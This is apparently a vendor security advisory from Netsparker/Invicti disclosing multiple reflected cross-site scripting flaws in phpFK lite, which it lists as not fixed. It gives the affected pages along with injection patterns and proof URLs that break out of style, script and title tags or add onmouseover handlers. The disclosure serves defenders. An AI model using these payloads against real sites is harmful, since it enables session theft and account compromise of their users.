Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in phpFK
Affected Software: phpFK
Affected Versions: lite-version
Homepage: https://www.frank-karau.de/
Vulnerability: Reflected Cross-site Scripting
Severity: 7.4 High
Status: Not Fixed
CVSS Score (3.0): CVE-2017-18364
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-006

Technical Details
--------------------

  1. /faq.php (Query Based (Query String))

Parameter Name : Query Based
Parameter Type : Query String
Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00164F)</scRipt>
Proof URL : http://{domain}/faq.php?'"--></style></scRipt><scRipt>alert(0x00164F)</scRipt>

  1. /members.php (Query Based (Query String))

Parameter Name : Query Based
Parameter Type : Query String
Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00158E)</scRipt>
Proof URL : http://{domain}/members.php?'"--></style></scRipt><scRipt>alert(0x00158E)</scRipt>

  1. /members.php (search (GET))

Parameter Name : search
Parameter Type : GET
Attack Pattern : x%22+onmouseover%3dnetsparker(0x0069A0)+x%3d%22
Proof URL : http://{domain}/members.php?search=x"%20onmouseover=netsparker(0x0069A0)%20x="&sort=username

  1. /members.php (search (POST))

Parameter Name : search
Parameter Type : POST
Attack Pattern : x%22+onmouseover%3dnetsparker(0x006EBA)+x%3d%22

  1. /search.php (Query Based (Query String))

Parameter Name : Query Based
Parameter Type : Query String
Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00171D)</scRipt>
Proof URL : http://{domain}/search.php?'"--></style></scRipt><scRipt>alert(0x00171D)</scRipt>

  1. /user.php (user (GET))

Parameter Name : user
Parameter Type : GET
Attack Pattern : %3c%2ftitle%3e%3cscRipt%3enetsparker(0x001122)%3c%2fscRipt%3e
Proof URL : http://{domain}/user.php?user=</title><scRipt>netsparker(0x001122)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

2nd April 2019 - First Contact Attempted
10th July 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omer Citak while testing the Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.